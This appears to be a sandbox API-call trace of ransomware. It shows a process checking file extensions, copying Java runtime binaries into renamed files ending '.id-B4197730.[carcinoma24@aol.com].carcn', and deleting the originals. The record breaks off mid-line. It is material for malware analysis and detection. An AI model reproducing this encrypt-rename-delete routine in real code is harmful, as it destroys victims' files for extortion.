[0302.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.587] lstrlenW (lpString=".doc") returned 4 [0302.587] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.587] lstrlenW (lpString=".docx") returned 5 [0302.587] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0302.587] lstrlenW (lpString=".pdf") returned 4 [0302.587] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.587] lstrlenW (lpString=".xls") returned 4 [0302.587] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.587] lstrlenW (lpString=".xlsx") returned 5 [0302.587] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0302.587] lstrlenW (lpString=".ppt") returned 4 [0302.587] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.587] lstrlenW (lpString=".zip") returned 4 [0302.587] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.587] lstrlenW (lpString=".rar") returned 4 [0302.587] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.587] lstrlenW (lpString=".bz2") returned 4 [0302.587] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.587] lstrlenW (lpString=".7z") returned 3 [0302.588] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.588] lstrlenW (lpString=".dbf") returned 4 [0302.588] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.588] lstrlenW (lpString=".1cd") returned 4 [0302.588] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0302.588] lstrlenW (lpString=".jpg") returned 4 [0302.588] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.588] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0302.588] lstrlenW (lpString="klist.exe") returned 9 [0302.588] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0302.589] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=16448) returned 1 [0302.589] CloseHandle (hObject=0x338) returned 1 [0302.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 0x20 [0302.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0302.589] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.589] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0302.590] GetLastError () returned 0x0 [0302.590] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x4040, lpOverlapped=0x0) returned 1 [0302.801] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x4050, lpOverlapped=0x0) returned 1 [0302.802] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0302.802] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0302.803] SetEndOfFile (hFile=0x394) returned 1 [0302.803] CloseHandle (hObject=0x394) returned 1 [0302.803] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.803] SetEndOfFile (hFile=0x338) returned 1 [0302.804] CloseHandle (hObject=0x338) returned 1 [0302.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0302.804] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\klist.exe")) returned 1 [0302.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.804] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.804] lstrlenW (lpString=".doc") returned 4 [0302.804] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.804] lstrlenW (lpString=".docx") returned 5 [0302.804] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0302.804] lstrlenW (lpString=".pdf") returned 4 [0302.804] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.804] lstrlenW (lpString=".xls") returned 4 [0302.804] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.804] lstrlenW (lpString=".xlsx") returned 5 [0302.804] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0302.804] lstrlenW (lpString=".ppt") returned 4 [0302.805] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.805] lstrlenW (lpString=".zip") returned 4 [0302.805] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.805] lstrlenW (lpString=".rar") returned 4 [0302.805] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.805] lstrlenW (lpString=".bz2") returned 4 [0302.805] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.805] lstrlenW (lpString=".7z") returned 3 [0302.805] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.805] lstrlenW (lpString=".dbf") returned 4 [0302.805] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.805] lstrlenW (lpString=".1cd") returned 4 [0302.805] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.805] lstrlenW (lpString=".jpg") returned 4 [0302.805] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.805] lstrlenW (lpString=".doc") returned 4 [0302.805] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0302.805] lstrlenW (lpString=".docx") returned 5 [0302.805] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0302.805] lstrlenW (lpString=".pdf") returned 4 [0302.805] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0302.805] lstrlenW (lpString=".xls") returned 4 [0302.805] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0302.805] lstrlenW (lpString=".xlsx") returned 5 [0302.805] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0302.805] lstrlenW (lpString=".ppt") returned 4 [0302.805] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0302.805] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.805] lstrlenW (lpString=".zip") returned 4 [0302.805] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0302.805] lstrlenW (lpString=".rar") returned 4 [0302.805] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0302.806] lstrlenW (lpString=".bz2") returned 4 [0302.806] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0302.806] lstrlenW (lpString=".7z") returned 3 [0302.806] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0302.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.806] lstrlenW (lpString=".dbf") returned 4 [0302.806] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0302.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.806] lstrlenW (lpString=".1cd") returned 4 [0302.806] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0302.806] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\klist.exe") returned 48 [0302.806] lstrlenW (lpString=".jpg") returned 4 [0302.806] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0302.806] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0302.806] lstrlenW (lpString="mlib_image.dll") returned 14 [0302.810] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0302.811] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=653888) returned 1 [0302.811] CloseHandle (hObject=0x338) returned 1 [0302.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0302.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0302.812] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0302.812] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.812] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0302.812] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0302.813] GetLastError () returned 0x0 [0302.813] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x9fa40, lpOverlapped=0x0) returned 1 [0303.843] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0x9fa50, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0x9fa50, lpOverlapped=0x0) returned 1 [0303.853] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0303.853] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xf0, lpOverlapped=0x0) returned 1 [0303.854] SetEndOfFile (hFile=0x394) returned 1 [0303.854] CloseHandle (hObject=0x394) returned 1 [0303.854] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.854] SetEndOfFile (hFile=0x338) returned 1 [0303.868] CloseHandle (hObject=0x338) returned 1 [0303.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0303.869] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 1 [0303.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.869] lstrlenW (lpString=".doc") returned 4 [0303.869] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.869] lstrlenW (lpString=".docx") returned 5 [0303.869] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0303.869] lstrlenW (lpString=".pdf") returned 4 [0303.869] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.869] lstrlenW (lpString=".xls") returned 4 [0303.869] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.869] lstrlenW (lpString=".xlsx") returned 5 [0303.869] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0303.869] lstrlenW (lpString=".ppt") returned 4 [0303.869] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.869] lstrlenW (lpString=".zip") returned 4 [0303.869] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.869] lstrlenW (lpString=".rar") returned 4 [0303.870] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.870] lstrlenW (lpString=".bz2") returned 4 [0303.870] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.870] lstrlenW (lpString=".7z") returned 3 [0303.870] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.870] lstrlenW (lpString=".dbf") returned 4 [0303.870] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.870] lstrlenW (lpString=".1cd") returned 4 [0303.870] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.870] lstrlenW (lpString=".jpg") returned 4 [0303.870] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.870] lstrlenW (lpString=".doc") returned 4 [0303.870] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.870] lstrlenW (lpString=".docx") returned 5 [0303.870] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0303.870] lstrlenW (lpString=".pdf") returned 4 [0303.870] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.870] lstrlenW (lpString=".xls") returned 4 [0303.870] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.870] lstrlenW (lpString=".xlsx") returned 5 [0303.870] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0303.870] lstrlenW (lpString=".ppt") returned 4 [0303.870] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.870] lstrlenW (lpString=".zip") returned 4 [0303.870] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.870] lstrlenW (lpString=".rar") returned 4 [0303.870] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.870] lstrlenW (lpString=".bz2") returned 4 [0303.871] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.871] lstrlenW (lpString=".7z") returned 3 [0303.871] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.871] lstrlenW (lpString=".dbf") returned 4 [0303.871] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.871] lstrlenW (lpString=".1cd") returned 4 [0303.871] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0303.871] lstrlenW (lpString=".jpg") returned 4 [0303.871] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.871] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0303.871] lstrlenW (lpString="nio.dll") returned 7 [0303.871] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0303.872] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=60480) returned 1 [0303.872] CloseHandle (hObject=0x338) returned 1 [0303.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 0x20 [0303.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0303.872] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0303.872] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.872] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0303.872] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0303.873] GetLastError () returned 0x0 [0303.873] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0xec40, lpOverlapped=0x0) returned 1 [0304.052] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xec50, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xec50, lpOverlapped=0x0) returned 1 [0304.055] ReadFile (in: hFile=0x338, lpBuffer=0x3f52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0304.055] WriteFile (in: hFile=0x394, lpBuffer=0x3f52020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3f52020*, lpNumberOfBytesWritten=0x34ffc94*=0xe2, lpOverlapped=0x0) returned 1 [0304.055] SetEndOfFile (hFile=0x394) returned 1 [0304.055] CloseHandle (hObject=0x394) returned 1 [0304.055] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0304.055] SetEndOfFile (hFile=0x338) returned 1 [0304.057] CloseHandle (hObject=0x338) returned 1 [0304.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.189] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll")) returned 1 [0304.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.189] lstrlenW (lpString=".doc") returned 4 [0304.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.189] lstrlenW (lpString=".docx") returned 5 [0304.189] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0304.189] lstrlenW (lpString=".pdf") returned 4 [0304.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.189] lstrlenW (lpString=".xls") returned 4 [0304.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.189] lstrlenW (lpString=".xlsx") returned 5 [0304.189] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0304.189] lstrlenW (lpString=".ppt") returned 4 [0304.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.190] lstrlenW (lpString=".zip") returned 4 [0304.190] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.190] lstrlenW (lpString=".rar") returned 4 [0304.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.190] lstrlenW (lpString=".bz2") returned 4 [0304.190] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.190] lstrlenW (lpString=".7z") returned 3 [0304.190] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.190] lstrlenW (lpString=".dbf") returned 4 [0304.190] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.190] lstrlenW (lpString=".1cd") returned 4 [0304.190] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.190] lstrlenW (lpString=".jpg") returned 4 [0304.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0304.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.190] lstrlenW (lpString=".doc") returned 4 [0304.190] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0304.190] lstrlenW (lpString=".docx") returned 5 [0304.190] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1 [0304.190] lstrlenW (lpString=".pdf") returned 4 [0304.190] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0304.190] lstrlenW (lpString=".xls") returned 4 [0304.190] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0304.190] lstrlenW (lpString=".xlsx") returned 5 [0304.190] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1 [0304.190] lstrlenW (lpString=".ppt") returned 4 [0304.190] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0304.190] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.190] lstrlenW (lpString=".zip") returned 4 [0304.190] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0304.190] lstrlenW (lpString=".rar") returned 4 [0304.190] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0304.190] lstrlenW (lpString=".bz2") returned 4 [0304.191] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0304.191] lstrlenW (lpString=".7z") returned 3 [0304.191] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0304.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.191] lstrlenW (lpString=".dbf") returned 4 [0304.191] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0304.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.191] lstrlenW (lpString=".1cd") returned 4 [0304.191] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0304.191] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll") returned 46 [0304.191] lstrlenW 